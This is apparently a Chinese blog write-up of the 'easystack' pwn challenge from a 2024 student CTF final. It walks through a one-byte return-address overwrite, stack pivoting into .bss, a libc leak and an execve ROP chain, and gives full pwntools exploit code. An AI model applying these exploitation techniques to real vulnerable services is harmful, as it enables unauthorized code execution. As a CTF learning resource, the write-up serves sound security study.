2024年京津冀大学生信息安全网络攻防大赛-决赛Pwn

这个决赛两道Web,一道Pwn,Pwn题最后也没做出来,不过做出来的队伍也不多,后面找做出来的师傅交流了下,然后参照wp进行复现。

easystack

pwn 函数,有两次对 bss 段的读入,最后一次读入存在 0x9 字节的溢出,然而这个溢出字节数只能覆盖 rbp 以及返回地址的一个字节,因此只能考虑栈迁移

一般上我们在栈迁移的时候需要将返回地址覆盖成 leave; ret,这就需要至少溢出 0x10 字节,而现在我们只能覆盖返回地址的一字节

我们 gdb 调试一下,可以看到 pwn 函数的返回地址是 0x400794,而 leave; ret 的地址是 0x40071f,两者相差了一个字节,而我们正好可以覆盖返回地址的一个字节。

那么我们既然可以进行栈迁移,就可以考虑将栈迁移到 bss 段,而 pwn 函数中正好有两次向 bss 段的读入,第一次是 one,其地址是 0x601160,第二次是 two,其地址是 0x601060;我们可以选择将栈迁移到 one 处,然后进行 libc 泄露

第一次读入我们布置好泄露 puts 函数的 rop 链,第二次任意写入,第三次我们将 rbp 覆盖为 one-8 ,而减 8 是为了抵消第二次 leave 时导致的 rsp+8;然后将返回地址一字节写入 \x1f,这样就相当于将返回地址改成了 leave; ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pwn = 0x4006A6
read_two = 0x4006EA
one = 0x601160
two = 0x601060
pop_rdi = 0x400803
pop_rbp = 0x400610
leave_ret = 0x40071f

def debug():
attach(p, 'b *0x40071E')
pause()

debug()
p.recvuntil("What's your name?")
payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
p.send(payload)

p.recvuntil("Want leave something?")
payload = b'a'*8
p.sendline(payload)

p.recvuntil("So, Bye?")
payload = b'a'*0x10 + p64(one-8) + b'\x1f'
p.send(payload)

可以看到,现在 rbp 已经覆盖成了 one-8,返回地址也变成了 leave; ret

经过两次 leave; ret 之后,栈已经被迁移到了 one 处,然后就会执行泄露 puts 函数的 rop 链

当我们成功泄露出了 puts 函数之后,程序已经退出了

现在我们还需要有再次读入的机会来布置 getshell 的 rop 链,那么我们就可以修改泄露第一次读入的 rop 链,使其能在泄露 puts 函数之后有再次读入的机会

可以看到在第二次读入的汇编代码处,我们可以在泄露出 pus 函数之后返回到这个位置,这样我们就可以有两次读入的机会。第一次读入有 0x40 字节,我们可以布置 getshell 的 rop 链,第二次任意读入,之后程序会来到 leave 处,也就是会执行 mov rsp, rbppop rbp,但是此时 rbp 已经变成了 0,再执行 mov rsp, rbp就会出错,由于我们需要程序执行getshell的rop链,因此我们可以用 pop rbp将 rbp 恢复成 two。

现在我们修改泄露 puts 函数的 rop 链,将 rbp 变成 two,然后返回到 0x4006EA 处

1
2
3
4
5
debug()
p.recvuntil("What's your name?")
payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(pop_rbp) + p64(two) + p64(read_two)
p.send(payload)

执行到此处是第一次读入

布置好 execve 的 rop 链和第二次任意读入

1
2
3
4
5
6
7
8
9
10
debug()
payload = b'a'*8
payload += p64(pop_rdi) + p64(binsh)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(execve)
p.send(payload)

p.recvuntil("So, Bye?")
p.sendline(b'a')

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = process('./pwn1')
elf = ELF('./pwn1')
libc = ELF('./2.27-3ubuntu1.2_amd64/libc.so.6')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_two = 0x4006EA
one = 0x601160
two = 0x601060
pop_rdi = 0x400803
pop_rbp = 0x400610

def debug():
attach(p, 'b *0x40071E')
pause()

# debug()
p.recvuntil("What's your name?")
payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(pop_rbp) + p64(two) + p64(read_two)
p.send(payload)

p.recvuntil("Want leave something?")
payload = b'a'*8
p.sendline(payload)

p.recvuntil("So, Bye?")
payload = b'a'*0x10 + p64(one-8) + b'\x1f'
p.send(payload)
p.recvuntil(b'\n')
puts = u64(p.recv(6).ljust(8, b'\x00'))
success('puts:{}'.format(hex(puts)))

libc_base = puts - libc.sym['puts']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
execve = libc_base + libc.sym['execve']
pop_rsi = libc_base + 0x23e8a
pop_rdx = libc_base + 0x1b96

# debug()
payload = b'a'*8
payload += p64(pop_rdi) + p64(binsh)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(execve)
p.send(payload)

p.recvuntil("So, Bye?")
p.sendline(b'a')

p.interactive()

2024年京津冀大学生信息安全网络攻防大赛-决赛Pwn
https://tsuk1ctf.github.io/post/11394.html
作者
Tsuk1
发布于
2024年12月27日
许可协议